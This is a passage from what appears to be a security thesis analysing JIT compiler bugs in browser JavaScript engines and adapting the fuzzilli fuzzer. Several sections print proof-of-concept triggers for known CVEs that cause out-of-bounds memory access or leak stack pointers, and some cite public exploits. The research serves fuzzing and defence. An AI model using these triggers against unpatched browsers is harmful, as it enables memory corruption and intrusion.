08: a.z = opt(-0);
09: return (a.z + 0); // Real: 1, Feedback type: Range(0, 0)
10: }
11: opt(0);
12: %OptimizeFunctionOnNextCall(opt);
13: opt("0");
14: trigger();
15: %OptimizeFunctionOnNextCall(trigger);
16: trigger();
The Math.expm1() call and the -0 value are wrapped inside an object to ensure that the
incorrect optimization is performed after escape analysis dematerialized object a. This
means, that the compiler always assumes an incorrect return value of false for the opt
function. However, when -0 is passed, the function returns true which means the trigger
function returns 1, but the compiler assumes a return value range of (0,0). Arithmetic
operations like a multiplication can be applied on the value to create an arbitrary index which
can be used to access an array. Since the compiler assumes that the value is always zero,
the bound check gets removed and OOB access is possible.
Generalization for variation analysis:
•
Similar vulnerabilities can be found by comparing the output of function invocations
executed by with the interpreter and the compiler. If the results differ, it may indicate
an incorrect annotation or optimization. This type of fuzzing is called differential
fuzzing. Google Chrome already includes such fuzzers as demonstrated by
Chromium issue 1053939 182.
•
A fuzzer should use the -0 or NaN values in mutations since these values can trigger
range flaws.
•
A fuzzer should call a function after optimization with different argument types and
trigger optimization again before the final call to the target function happens. This is
shown in the second PoC in line 13 where the function is invoked with a string
argument. This results in the insertion of more generic code during optimization and
can therefore trigger bugs in other code locations.
•
A fuzzer should use the .call() syntax to enforce the use of call nodes.
•
A fuzzer should implement a mutation strategy which wraps values within objects
which do not escape. This prevents early optimization and delays optimization to later
phases. This results in different code getting tested during fuzzing and therefore
increases the attack surface.
182 https://bugs.chromium.org/p/chromium/issues/detail?id=1053939
97
Chromium issue 913296, CVE-2019-5755 – Incorrect type information on
SpeculativeSafeIntegerSubtract
01: function opt(trigger) {
02: return (trigger ? -0 : 0) - 0;
03: }
04: assertEquals(0, opt(false));
05: %OptimizeFunctionOnNextCall(opt);
06: assertEquals(-0, opt(true)); // Failure: expected <-0> found <0>
The function is optimized for the case that the argument is false which results in 0 – 0 = 0
as return value. When the argument is changed, the result should become -0 – 0 = -0.
However, since the function gets incorrectly optimized, the result remains to be 0. The root
cause of this vulnerability is that the subtract operation gets translated to a
SpeculativeSafeIntegerSubtract call node which had an incorrect return value range defined.
The incorrect return value allows to access arrays OOB because array bound checks can
incorrectly be removed by performing index calculations based on the return value.
Exploitation details were already described in the Chromium issue 880207 analysis.
Generalization for variation analysis:
•
This vulnerability again demonstrates that -0 should be used during fuzzing to trigger
edge cases. Already simple test cases such as the above PoC can lead to exploitable
vulnerabilities.
Chromium issue 658114, CVE-2016-5200 – OOB read and write in asm.js
01: opt = (function (stdlib, foreign, heap) {
02: "use asm";
03: var ff = Math.sign;
04: var m32 = new stdlib.Int32Array(heap);
05: function f(v) {
06: m32[((1 - ff(NaN) >>> 0) % 0xdc4e153) & v] = 0x12345678;
07: }
08: return f;
09: })(this, {}, new ArrayBuffer(256));
10: %OptimizeFunctionOnNextCall(opt);
11: opt(0xffffffff);
The first instruction invokes an anonymous function which returns function f, which is defined
in lines 5 to 7. This inner function f is then optimized and called with 0xFFFFFFFF as
argument. The optimization incorrectly removed bound checks because the Math.sign
function annotation did not include NaN as a possible return value.
Generalization for variation analysis:
•
A fuzzer should wrap functions in variables and call the variable as shown in line 3
and 6.
•
A fuzzer should fuzz asm.js code as shown in line 2.
•
A fuzzer should create mathematical operations to calculate array indexes as shown
in line 6.
•
A fuzzer should change values to NaN during mutations.
98
4.5.5 Escape analysis bugs
Compilers execute various optimization phases and escape analysis is one of them.
Typically, objects in functions are allocated on the heap because the lifetime of the object
may not be bound to the function. For example, when the object is assigned to a global
variable or it is used as return value, the object escapes the function context. Another
possibility is that another function is called with the object passed as argument. Then, the
other function could escape the object by assigning it to a global variable. To reduce the
number of such cases, compilers attempt to inline function calls before performing escape
analysis.
If the object escapes, a heap allocation is required. However, if the compiler can guarantee
that an object cannot escape, the compiler can instead allocate the object or its properties
on the stack. Such an object is called a dematerialized object. This has a positive
performance impact because stack allocations are a lot faster. During escape analysis the
compiler determines which objects escape and which objects can be dematerialized.
A flaw in this logic can lead to the escape of a dematerialized object. This means, a stack
variable can be accessed although the stack frame is no longer valid which is similar to a
use-after-free-like vulnerability on the stack and can therefore be exploited in most cases.
Examples:
Edge CVE-2018-0860 – JIT escape analysis bug 183
01: function opt() {
02: let arr = [];
03: return arr['x'];
04: }
05: let arr = [1.1, 2.2, 3.3];
06: for (let i = 0; i < 0x10000; i++) {
07: opt(); // Trigger optimization
08: }
09: Array.prototype.__defineGetter__('x', Object.prototype.valueOf);
10: print(opt());
The loop in line 6 triggers optimization of the opt function. Since the arr variable in the opt
function is assumed to not escape, it gets dematerialized which means that it gets allocated
on the stack. The getter function of the array prototype can be overwritten like done in line
9. This could lead to a leak of the arr variable because the callback function could assign arr
to a global variable. This is prevented by the compiler by adding code which results in
deoptimization in case such a getter function gets called.
However, this is only the case if the newly defined getter has a side effect which means that
the variable can escape. In the above PoC the Object.prototype.valueOf built-in function is
used as new getter because this function is internally annotated as HasNoSideEffect.
Because it does not have a side effect, the optimized code invokes the function without
183 https://bugs.chromium.org/p/project-zero/issues/detail?id=1437
99
triggering deoptimization. The valueOf function cannot be used to store arr in a global
variable, however, it returns a pointer to its own object and therefore to arr. By triggering this
callback in the return statement, the function can be tricked into returning a pointer to the arr
variable. This means that the opt function leaks a pointer to a stack variable, although the
stack frame is no longer valid.
Generalization for variation analysis:
•
A fuzzer should add code which attempts to leak local variables to global variables
through callbacks.
•
A fuzzer should trigger callbacks as part of the return statement and leak arguments
to global variables.
•
A fuzzer should overwrite callback functions with built-in functions to identify other
built-ins which can be used to escape variables. The focus should be put on built-in
functions which are annotated as HasNoSideEffect.
Edge CVE-2017-11918 – JIT escape analysis bug 184
01: function opt() {
02: let tmp = [];
03: tmp[0] = tmp;
04: return tmp[0];
05: }
06: for (let i = 0; i < 0x1000; i++) {
07: opt(); // Trigger optimization
08: }
09: print(opt()); // deref uninitialized stack pointer
The loop in line 6 triggers the optimization of the opt function. The compiler incorrectly
assumes that the tmp variable from line 2 cannot escape and allocates the variable on the
stack instead of the heap. However, line 3 writes to index zero a pointer to itself and returns
in line 4 this element. The compiler developers just handled the basic case in which a
variable was directly returned to escape the context. However, the developers forgot to
implement the case where the pointer was returned via an object property.
This means, that a pointer to a stack-allocated object can be leaked. After the function
returns, the object can be accessed although the stack frame is no longer valid.
Generalization for variation analysis:
•
A fuzzer should create code which attempts to escape local objects. After the function
returns, the return value should be accessed to check for possible escape analysis
bugs. Before this access is performed, additional stack allocations should be done to
overwrite the stack frame.
184 https://bugs.chromium.org/p/project-zero/issues/detail?id=1396
100
Chromium issue 765433, CVE-2017-5121 – Escape analysis bug leads to uninitialized
memory
01: var func0 = function (f) {
02: var o = {
03: a: {},
04: b: {
05: ba: { baa: 0, bab: [] },
06: bb: {},
07: bc: {
08: bca: {
09: bcaa: 0,
10: bcab: 0,
11: bcac: this
12: }
13: }
14: }
15: };
16: o.b.bc.bca.bcab = 0;
18: // o.b.bb.bba = Object.toString(o.b.ba.bab);
19: o.b.bb.bba = Array.prototype.slice.apply(o.b.ba.bab);
20: };
21: while (true) func0();
“One of the disadvantages of fuzzing, compared to manual code review, is that it’s not
always immediately clear what causes a given test case to trigger a vulnerability, or if the
unexpected behavior even constitutes a vulnerability at all. [...] The code above looks
strange and doesn’t really achieve anything, but it is valid JavaScript.” 185
For the above test case the compiler generated code which did not initialize the o.a.b.ba
property. Initially, the sea-of-nodes graph contained code to initialize the field, however,
during escape analysis the compiler incorrectly decided that the initialization code is not
required and removed it. To fix the vulnerability the developers enabled a completely
rewritten escape analysis phase. The root cause of the vulnerability was therefore never
analyzed in-depth by a public available source.
Exploitation details can be found in a blog post 186 published by the Microsoft Offensive
Security research team.
Generalization for variation analysis:
•
A fuzzer should create such deep, interleaved object structures and use the
properties during fuzzing.
185 https://www.microsoft.com/security/blog/2017/10/18/browser-security-beyond-sandboxing/
186 https://www.microsoft.com/security/blog/2017/10/18/browser-security-beyond-sandboxing/
101
Chromium issue 744584, CVE-2017-5115 – Incorrect typing of phi nodes after merge
in escape analysis
01: function opt(arg_value) {
02: var o = { a: 0 }; //required to trigger the optimization in the escape analysis
03: var l = [1.1, 2.2, 3.3, 4.4]; // this array will be accessed OOB
04: var result;
05: for (var i = 0; i < 3; ++i) {
06: if (arg_value % 2 == 0) { o.a = 1; b = false } // creates a merge node
07: result = l[o.a]; // OOB access during 2nd loop iteration (in compiled code)
08: o.a = arg_value; // this value is incorrectly ignored by the compiler
09: }
10: return result;
11: }
12: opt(0); // Let intepreter collect feedback for value 0
13: opt(1); // Let intepreter collect feedback for value 1
14: opt(0); // Let intepreter collect feedback for value 0
15: opt(1); // Let intepreter collect feedback for value 1
16: %OptimizeFunctionOnNextCall(opt); // Trigger optimization
17: opt(101); // this leads to OOB access
Whereas the above-mentioned examples lead to an escape of a dematerialized object, this
vulnerability triggers a bug in the escape analysis phase which sets an incorrect range type.
This leads to the removal of a bound check in the subsequent simplified lowering phase. The
vulnerability occurs in line 7, where the double array is accessed via an index. The index
value depends on the output of the previous if branch. When such a branch occurs, the
engine adds a merge node to the sea-of-nodes to merge both execution paths of the if-
condition back to a single node. To merge the possible values a phi node gets added which
calculates the possible value range of the o.a variable.
The vulnerability occurs in the calculation of this range because the code iterates over both
branches and merges the value ranges. In the true branch, see line 6, the value of o.a is one
and in the false branch the value is not changed and therefore still zero because it was
initialized to zero in line 2. The compiler therefore concludes that o.a can just be zero or one
and therefore that the bound check from the array access in line 7 can be removed in the
simplified lowering phase. However, the compiler did not consider that the code can be
wrapped in a loop as done in line 5. After the first iteration finishes, the o.a value is set to the
passed argument in line 8 which means o.a can have an arbitrary value in the second
iteration which leads to OOB access because of the removed bound check.
The bug was reported by a JavaScript developer who observed the flaw in his own code.
The reporter did not notice that the bug was a security related vulnerability. The bug was two
years later exploited as a practical exercise by a user named 0x4848 187.
Generalization for variation analysis:
•
A fuzzer should create test cases with interleaved control flow structures such as
loops and if conditions.
187 https://zon8.re/posts/exploiting-an-accidentally-discovered-v8-rce/
102
•
A fuzzer should create loops in which an array access operation is performed at the
beginning and in which the index is modified afterwards, as shown in line 7 and 8.
•
A fuzzer should create if-conditions followed by array access operations. Within the
true branch the index of the array access operation should be modified, as shown in
line 6 and 7.
•
The above PoC just works if the --no-turbo-loop-peeling flag is passed to v8. The test
case can be modified to trigger the bug without this flag, however, then the test case
188 becomes a lot more complex. Since a more complex test case is harder to find
with a fuzzer, the fuzzer should try to randomly pass different v8 flags which modify
JIT optimization phases.
•
In the above PoC it is important that the index is stored in a property of a
dematerialized object, see line 2. Otherwise, the vulnerability would not be triggered
because of earlier optimization phases. A fuzzer should therefore occasionally wrap
array index calculations within properties of dematerialized objects.
•
Another technique to prevent early optimization is to perform an additional binary
operation on the index before the array access happens. An example is shown in the
following code:
idx &= 0xfff;
var x = arr[idx];
Such code should be used during fuzzing.
•
The above PoC creates in line 3 a double array and therefore interprets in line 7 the
OOB data as a double value. This is useful during exploitation because it can be
used to leak object pointers. However, it is not useful during fuzzing because the
OOB access does not lead to a crash and the fuzzer would therefore not notice that
an OOB access happened. The vulnerability would therefore not be detected - not
even with an ASAN build because v8 uses a custom heap. By changing line 3 to just
store SMI values, the code can easily be transformed to a crashing test case when
a build of v8 is used where debug checks are enabled. A fuzzer should therefore
mainly try to create SMI arrays when it generates such OOB access test cases.
188 https://chromium.googlesource.com/v8/v8.git/+/a224eff455632df89377748421a23be47a5278e8/
test/mjsunit/ compiler/escape-analysis-phi-type-2.js
103
4.5.6 Implementation bugs
This chapter explains implementation bugs in code associated with optimization.
Examples:
Firefox bug 1493903, CVE-2018-12387 (Hack2Win 2018; exploited together with CVE-
2018-12386) – Misaligned stack pointer because of Array.prototype.push() bailout
01: function opt(o) {
02: var a = [o];
03: a.length = a[0];
04: var useless = function () { }
05: var sz = Array.prototype.push.call(a, 42, 43);
06: (function () {
07: sz;
08: })(new Boolean(false));
09: }
10: for (var i = 0; i < 25000; i++) {
11: opt(1); // Trigger optimization
12: }
13: opt(2); // Trigger bug
In line 11 optimization of the opt function is triggered. In this function the push function is
called in line 5 with two arguments, 42 and 43. The compiler replaces the call with two
separated inlined push instructions, one for each value. When one is passed as argument
to opt(), see line 11, the length of the variable a becomes one because of line 3. This means
that the push instructions do not lead to a deoptimization. However, when the bug is triggered
in line 13, the value two is passed which means the second entry in the array is undefined.
The reason for this is that line 3 modifies the length to two, but only the element at index
zero was assigned in line 2.
Because of this, the optimized push code cannot handle the data and deoptimization is
triggered. This means that the interpreter continues execution. However, during
deoptimization the stack pointer does not get adjusted back to compensate the push
instructions leading to a stack pointer being off by eight bytes.
The vulnerability was exploited together with CVE-2018-12386 in Hack2Win 2018.
Exploitation details are available at 189. An exploit is available at 190.
Generalization for variation analysis:
•
A fuzzer should use the .call() syntax on built-in functions and pass multiple
arguments.
•
A fuzzer should create test cases where the length of a local array is set to a value
passed as argument. The function should be called multiple times with different
argument values and the function should perform operations on the array, as shown
in line 5 with the push call.
189 https://ssd-disclosure.com/archives/3766/ssd-advisory-firefox-information-leak
190 https://github.com/phoenhex/files/blob/master/exploits/hack2win2018-firefox-infoleak/exploit.html
104
Firefox bug 1528829, CVE-2019-9793 – Incorrect range inference in loop because of
integer overflow / truncation
01: function opt(o) {
02: o += 100; // [INT_MIN + 100, ?]
03: o += (-2147483647); // [?, 0]
04: let str = "a"; let res;
05: for (var i = 0; i < 1; ++i) {
06: // phi corresponding to o is inferred as [INT_MIN, 0]
07: let idx = Math.max(0, o); // [0, 0]
08: res = str.charCodeAt(idx); // OOB access when o := 2147483647
09: o = o - 1;
10: }
11: return res;
12: }
13: for (var i = 0; i < 30; i++) {
14: opt(4); // Trigger optimization
15: }
16: print('Leaked: ' + opt(2147483647));
The function is optimized for the case of a small integer argument as it gets called with the
value four in line 14. During the range analysis phase during JIT compilation the possible
ranges are calculated as noted in the comments. The argument o has initially the value range
[INT_MIN, INT_MAX]. If another object is passed as argument, deoptimization would occur.
After adding 100 to the argument in line 2, the range becomes [INT_MIN + 100, ?]. The
question mark corresponds to the case of a potential under- or overflow. However, the
maximum value can still be considered to be equal or below INT_MAX in the next line
because otherwise deoptimization would occur. After adding -2,147,483,647 (-INT_MAX),
the range changes to [?,0].
The range of the o variable inside the loop depends on the initial range before the loop starts
and the range of o at the end an iteration. These two possible ranges must be merged to
estimate the range of o in the loop. This merging must be done although just one iteration is
performed because the compiler does not know how many iterations will be done at runtime.
Merging the ranges is performed by the LoopPhi operation. This operation assumes that an
underflow could not occur because otherwise deoptimization would first happen and
therefore changes the range to [INT_MIN,0]. After calling the Math.max() function on the
object, the range of idx becomes [0,0] and the compiler therefore assumes that the index
is always zero. Since the string str has a length of one, accessing index zero is always safe
and therefore bound checks can be removed during optimization.
This implementation would be safe if all assumptions hold. However, this is not the case. In
a later optimization phase arithmetic folding is performed which merges the two add
operations from line 2 and 3 into a single add operation. As a result, passing 2,147,483,647
as argument does not lead to an under- or overflow and therefore the range truncation from
the question marks to INT_MIN or INT_MAX is incorrect. Out of bound access is therefore
possible because the bound check was incorrectly removed.
105
Generalization for variation analysis:
•
Wrapping code in a loop with just one iteration can yield new bugs during fuzzing.
Although the JavaScript code is semantic similar to code without a loop, it still affects
JIT optimization because the additional LoopPhi operation is performed to merge
ranges.
•
Adding Math.max(index,0) or Math.min(index,0) in front of array access
operations can help to identify range calculation flaws.
4.6 Not covered vulnerabilities
The following vulnerabilities have exploits public available or were exploited in-the-wild.
However, they are not further discussed because of the following reasons.
Vulnerabilities in third-party code:
•
CVE-2019-13720 was a 0day used in-the-wild in operation WizardOpium191. The bug is
not discussed because it is in the audio module of the browser. A public exploit is
available in the bug tracker 192.
•
The Magellan bug, a vulnerability in SQLite which affected Google Chrome, is not
discussed since it is a bug in a third-party library. A detailed writeup can be found in 193.
•
Firefox bug 1446062 (CVE-2018-5146; Pwn2Own 2018) is a vulnerability in the Vorbis
audio codec parser. Exploitation details are available at 194 and at 195.
Vulnerabilities in WebAssembly or asm.js:
•
Chromium issue 766260 (CVE-2017-15401; Pwnium full Chrome OS exploit chain)
because the vulnerability is in WebAssembly.
•
Chromium issue 980475 (2019) because the vulnerability is in WebAssembly.
•
Chromium issue 759624 (CVE-2017-5116, Android Security Rewards ASR) because the
vulnerability is in WebAssembly. Exploitation details are available at 196.
•
Chromium issue 836141 (CVE-2018-6122) because the vulnerability is in WebAssembly.
•
Firefox bug 1145255 (CVE-2015-0817; Pwn2Own 2015) because the vulnerability is in
asm.js.
Specific or complex vulnerabilities:
•
Chromium issue 931640 (2019) is not discussed because it is a very specific
vulnerability.
•
Chromium issue 905940 (CVE-2018-17480; Tianfu Cup 2018) is complex and therefore
generalization is not easily possible.
191 https://securelist.com/chrome-0-day-exploit-cve-2019-13720-used-in-operation-wizardopium/94866/
192 https://bugs.chromium.org/p/chromium/issues/detail?id=1019226
193 https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop/
194 https://www.zerodayinitiative.com/blog/2018/4/5/quickly-pwned-quickly-patched-details-of-the-mozilla-
pwn2own-exploit
195 http://blogs.360.cn/post/how-to-kill-a-firefox-en.html
196 https://android-developers.googleblog.com/2018/01/android-security-ecosystem-investments.html
106
•
Firefox bug 982957 (CVE-2014-1512, Pwn2Own 2014) is a very specific use-after-free
vulnerability which is just triggered under high memory pressure. Exploitation details can
be found at 197.
•
Firefox bug 1299686 (CVE-2016-9066) is not covered because the vulnerability is just
triggered by loading an additional JavaScript file and returning malicious HTTP headers.
A writeup is available at 198 and an exploit is available at 199.
•
Firefox bug 1352681 (2017) is a specific vulnerability and just affected a beta version of
Firefox. It exploits an integer overflow together with a reference leak to achieve full code
execution. A detailed writeup is available at 200.
•
Safari CVE-2019-8559 is not covered because the PoC is too long. It is a vulnerability
with a missing write barrier, as explained in chapter 4.2.1. Exploitation details were
presented at OffensiveCon 2020 by Ahn 201. The exploit contains an interesting concept
to trigger vulnerabilities with missing write barriers by creating large trees of arrays.
Marking all objects in the tree during garbage collection takes a long time and therefore
write barriers can more efficiently be found.
Vulnerabilities where details were not published when the analysis was performed:
•
Details 202 for CVE-2019-5877 were published at BlackHat 2020. It is a vulnerability in v8
torque code which allows to access data OOB. Gong chained this vulnerability with two
other bugs to remotely root Android devices. It was the first demonstrated remote root
exploit chain against Pixel phones and it received the highest reward for an exploit chain
across all Google VRP programs.
•
Details 203 for CVE-2020-9850 were published at BlackHat 2020. It is a vulnerability in
JSC which was combined with five other vulnerabilities to create an exploit chain to target
Safari at Pwn2Own 2020. The vulnerability occurred because side-effects of the ‘in’
operator were incorrectly modeled. It is therefore an example of the vulnerability category
described in chapter 4.5.3.
•
Firefox bug 1607443 (CVE-2019-17026) is a 0day and was used in-the-wild in targeted
attacks 204 205. Details were later published in the Google Project Zero Blog 206. The root
cause of the vulnerability is also an incorrect side effect annotation.
197http://web.archive.org/web/20150710021003/http://www.vupen.com/blog/20140520.Advanced_Exploitation_
Firefox_UaF_Pwn2Own_2014.php
198 https://saelo.github.io/posts/firefox-script-loader-overflow.html
199 https://github.com/saelo/foxpwn
200 https://phoenhex.re/2017-06-21/firefox-structuredclone-refleak
201 https://www.youtube.com/watch?v=fTNzylTMYks
202 https://github.com/secmob/TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices
203 https://github.com/sslab-gatech/pwn2own2020
204 https://www.mozilla.org/en-US/security/advisories/mfsa2020-03
205 https://blogs.jpcert.or.jp/en/2020/04/ie-firefox-0day.html
206 https://googleprojectzero.blogspot.com/p/rca-cve-2019-17026.html
107
5 Applying variation analysis
The knowledge obtained from the analysis and the generalization for variation analysis
paragraphs from chapter 4 were applied to improve a current state-of-the-art fuzzer.
One conclusion of the previous chapter was that new vulnerabilities in the render engine can
mainly be found by improving the grammar definition files of a fuzzer. Moreover, exploitation
of these vulnerabilities is complex and time-consuming.
The focus of applying variation analysis was therefore laid on fuzzing a JavaScript engine.
This is coherent with vulnerability reports released during the last years which mainly
focused on JavaScript engines. Moreover, all analyzed vulnerabilities in this thesis except
seven bugs belong to the JavaScript engine. It is therefore conclusive to focus on an attack
target where the claimed improvements should pose the most significant impact.
5.1 Adaption of a state-of-the-art fuzzer
The fuzzilli fuzzer was identified as a state-of-the-art fuzzer which recently demonstrated
convincing results 207. The fuzzer was therefore selected as foundation to implement the
improvements mentioned in chapter 4.
Groß [39] observed that the use of AddressSanitizer together with JavaScript engines did
not lead to more identified crashes. This can probably be attributed to the custom heap
allocator used by JavaScript engines. To achieve a faster fuzzing speed, AddressSanitizer
was therefore not used during the experiment.
The following fuzzilli components were integrated into the developed fuzzer:
•
Lib-REPRL (read-eval-print-reset-loop)
A library which performs in-memory executions of JavaScript code in the target
JavaScript engine.
•
Lib-Coverage
A library which measures edge coverage feedback in the JavaScript engine using
LLVM sanitizer coverage.
Both libraries were combined to a single library written in C which provides an interface for
Python code. The exposed methods allow to execute JavaScript code with a fast execution
speed. The function return value indicates if the code resulted in new behavior, in a crash,
in a timeout or in an exception. During tests an execution speed of approximately 40
processed test cases per second per CPU core was achieved in a virtual machine. If
coverage feedback is not required, an execution speed of 200 tests per second per CPU
core were achieved. A similar test was conducted on a t2.micro instance on AWS. On this
system 112 test cases could be processed per second per CPU core with coverage feedback
207 https://github.com/googleprojectzero/fuzzilli#bug-showcase
108
enabled and 426 test cases per second with disabled coverage feedback. More detailed
system specifications are available in chapter 5.4.
The following library modifications were implemented:
•
The C code was originally used as a Swift module in fuzzilli. Since the author of this
thesis is more fluent in Python, the code was ported to a Python module. This allows
implementing mutation strategies and corpus management in Python while in-
memory execution and coverage feedback, which must be fast, are implemented in
C.
•
The coverage feedback was initially sometimes unstable. Multiple executions of the
same code led to different coverage feedback. Since stable results are crucial to
obtain an excellent corpus, the following improvements were implemented:
o If JavaScript code results in new coverage, the code is executed again until
it does not lead to new coverage. This is important because otherwise a small
modification of JavaScript code could incorrectly be added to the corpus
although the modification did not result in a new behavior.
o If JavaScript code results in new coverage, the code is tested again to verify
that it really triggers new behavior. This is important because otherwise
indeterministic behavior in the JavaScript engine could lead to the insertion
of multiple useless code samples into the corpus. Before the second
execution is performed, the JavaScript engine is restarted to start with a fresh
memory layout. This helps to further increase the stability of the results. Note
that additional process restarts are not a performance bottleneck. Finding
code that triggers new coverage is a rare event and therefore operations
performed in such cases can be neglected.
o The original code used sanitizer coverage to measure which control flow
edges are executed. However, the code just reported the first execution of an
edge in the current process. This leads to several problems. First, the
executions are not stable. The REPRL implementation restarts the JavaScript
engine after a specified number of test cases. After a restart, the engine
reports during the first execution again edges which were not reported during
the last executions because edges are just reported once in a process. To
obtain stable results, this behavior was therefore modified to always report all
executed edges. This has the additional advantage of a better performance.
The additional if-condition, which would check if an edge was already
previously seen, limits execution speed more than code which always saves
all executed edges. Saving all executed edges therefore leads to more stable
results and better performance. This improvement is especially important to
obtain correct results when the same code is executed multiple times as
suggested above. Another important use-case is test case minimization.
When code, which triggers new behavior, is found, the code is reduced to a
109
minimized sample which still triggers the new behavior. For the correct
minimization, it is important that edges are reported again in subsequent
executions.
o Initially, dummy runs are performed to measure which edges correspond to
code associated with starting and stopping an in-memory execution. These
edges are not considered when identifying code that triggers new behavior.
Fuzzilli uses an IL to mutate JavaScript code. This approach was chosen by Groß [39] to
ensure that generated code does not lead to an exception because catching exceptions
prevents the JavaScript compiler from optimizing the code. However, the implementation of
an IL is time-consuming and was therefore not done. Instead, mutations are performed
directly on JavaScript code in the experiment. To implement this, the experiment was split
into two tasks. In the first task an initial corpus is generated and in the second task fuzzing
is performed on the corpus. The corpus generation is further split into phases visualized in
Figure 8:
Figure 8: Phases of corpus generation
110
1. Initially, test cases are downloaded from publicly available sources or generated
using publicly available fuzzers. Additional test cases are self-created using a script.
2. Next, the test cases are sanitized. This is required because test cases from for
example SpiderMonkey cannot be executed in v8 because of different assert or
native function names.
3. All test cases are then executed and edge coverage feedback is extracted. This
allows to identify test cases with unique behavior and to reduce the total number of
test cases in the corpus which each trigger unique behavior.
4. In the next step, the test cases must be modified by renaming variables, functions
and classes to standardized names. This step is important to ensure that the fuzzer
knows the names of all available tokens in later phases.
5. After that, the corpus is minimized by removing blocks and code lines from the test
cases, if they are not required to trigger the unique behavior. This ensures that test
cases are minimal which increases fuzzer speed and the likelihood that a mutation
is inserted at the correct position during fuzzing.
6. Because of the minimization and line removal, similar test cases can arise. This
phase removes such duplicate test cases.
7. The result of the previous stage is stored in the first corpus. Details to corpus one
and two are explained in the next chapter. A state file is then created for all corpus
files. The state file encodes for example in which lines code can be inserted, which
variables have which data type in which line and how often a line is executed.
8. In the next phase, deterministic preprocessing is performed. The idea of this phase
is similar to the deterministic fuzzing phase of AFL. In this phase, specific code lines
are added at every possible location in the test case to yield new behavior. Examples
of injected code are the invocation of the garbage collection, a call which leads to
deoptimization, a call which prevents inlining the function and so on. If new coverage
is found, the sample is added to the corpus and the steps are repeated.
9. In the second deterministic preprocessing phase objects and callbacks are injected.
The goal of this phase is not to identify new behavior. Instead, callback locations
where code can be injected during fuzzing should be identified. For this, new objects
with callback functions are added and arguments to functions are replaced by these
objects. When the callback triggers, the sample is added to the second corpus.
Moreover, classes are sub classed or proxied to trigger callbacks. During the later
fuzzing phase, the fuzzer adds code especially at these callbacks to trigger
unexpected behavior during the callback.
The fuzzing phase is explained in-depth in chapter 5.3. The developed fuzzer adopted
approximately 400 lines of code of Fuzzilli. The final fuzzer has over 8,000 lines of code and
5,000 comment lines.
111
5.2 Corpus generation
The corpus is the collection of all test cases which trigger unique behavior during execution.
Fuzzing can be started with an empty corpus so that the fuzzer creates the corpus on the fly
during fuzzing. However, this approach can take a long time and therefore an initial corpus
was created. During traditional fuzzing usually just one corpus is used. However, the author
of this thesis reasons that fuzzing JavaScript engines is more efficient if the corpus is split
into two parts. The arguments for this assumption are discussed below.
The initial corpus generation is the reason why comparing stats from different fuzzers is not
meaningful in this context. For example, the fuzzilli fuzzer must be started with an empty
corpus and needs several days on one core on the test system to reach a coverage of 15
percent. On the other hand, the fuzzer presented in this research already achieves over 25
percent coverage within the first seconds because several weeks were spent on creating a
comprehensive initial input corpus.
The following chapters discuss the generation of the JavaScript code snippet corpus, the
template corpus and the initial analysis of test cases. The corpus was created for v8 in
version 8.1.307.28 on a x64 system. It may be possible to create an even bigger corpus by
starting the developed scripts with other JavaScript engines like SpiderMonkey, JSC or
ChakraCore and merging the final files to one large corpus. This is possible because it is
likely that edge cases in one JavaScript engine also trigger edge cases in other JavaScript
engines.
5.2.1 Corpus of JavaScript code snippets
In the first corpus small JavaScript code snippets are stored which trigger unique behavior.
The following list shows examples of code snippets from this corpus:
•
globalThis.hasOwnProperty('String')
•
var var_1_ = [1,2,3]; Object.seal(var_1_);
•
Object.seal(undefined);
•
const var_1_ = -Infinity; const var_2_ = Math.atan(var_1_);
•
["1", "2", "3"].map(parseInt)
•
Map.prototype.set = null;
These examples just contain simple statements. However, the full corpus contains over
10,000 such test cases including complex test cases with over 1,000 lines of code which
also contain unique combinations of control flow structures. These test cases can be viewed
as building blocks which are used by the fuzzer to construct new test cases during fuzzing.
The fuzzer combines these building blocks to create new test cases and adds additional
code by using a JavaScript grammar.
The following text describes how the corpus was created.
112
Corpus created by Fuzzilli:
The fuzzilli fuzzer was started inside a virtual machine (VM) on three cores independently
for four days. Exact system specifications can be found in chapter 5.4. The target v8 engine
was version 8.1.307.28. Synchronization was not enabled to check if the generated corpus
files evolve differently. Fuzzilli achieved after some seconds a coverage of four percent and
after several minutes a coverage of six percent. It starts with a high success rate (test cases
which do not lead to an exception) of 80 percent, but this rate drops to 70 percent after some
hours of fuzzing. It generates just a few timeouts which speeds up fuzzing. For example,
after 50,000 executions only 25 timeouts were recorded. After 400,000 executions a
coverage of 13.5 percent was achieved. The results after four days of fuzzing can be seen
in Table 2.
Core
Total execs
Coverage
Corpus size
Crashes Timeouts
Success rate
Avg. program size
1
2,868,881
16.03 %
6,261
37
71,658
70.02 %
104.13
2
2,073,209
15.41 %
5,249
22
63,754
69.62 %
196.20
3
2,789,794
16.04 %
6,374
27
73,246
69.12 %
117.20
Table 2: Results of fuzzilli fuzzer
The combined 17,884 files were minimized to 5,212 files which triggered unique behavior.
These triggered together 93,605 of 596,937 possible edges which corresponds to a 15.68
percent coverage. This coverage is slightly below the coverage listed in Table 2 because
fuzzilli records coverage differently than implemented in this thesis experiment. In this thesis
only stable coverage was counted which results in a lower coverage statistic.
All found crashes from Table 2 were due to generated recursive functions which resulted in
a range error because the recursion depth was too deep. The found crashes are therefore
not considered to be security related bugs.
Corpus files from public sources:
The following public sources were further used for corpus generation:
•
Regression tests from JavaScript engines
o ChakraCore 208
o SpiderMonkey 209
o V8 210
o Webkit 211 (already contains the test262 test suite 212)
•
Mozilla Developer JavaScript page 213
208 https://github.com/microsoft/ChakraCore/tree/master/test
209 https://hg.mozilla.org/mozilla-central/file/tip/js/src/
210 https://github.com/v8/v8/tree/master/test
211 https://github.com/WebKit/webkit/tree/master/JSTests
212 https://github.com/tc39/test262
213 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference
113
•
Mozilla Developer interactive JavaScript examples page 214
•
JS-Vuln-DB 215
•
Sputniktests 216
•
W3 Resources 217 and exercises 218
•
JavaScript code collections from eight different GitHub sources
In total, 609,864 JavaScript code snippets were downloaded from the mentioned sources
with a developed web crawler. Since some sources use similar test cases, the total number
of unique samples can be reduced to 105,892. By extracting edge coverage, samples with
unique behavior can be identified. For the experiment only test cases smaller than 200 KB
were considered because big input files slow down fuzzing. Moreover, a maximum runtime
of 800 milliseconds was configured. Code samples, which import code from other files, were
ignored since the filenames were changed during corpus generation, which is currently an
implementation specific limitation.
Moreover, the following operations were applied on the test cases to prepare them for
fuzzing:
•
Removal of comments.
•
Adding newlines before and after brace symbols. This is important because in a later
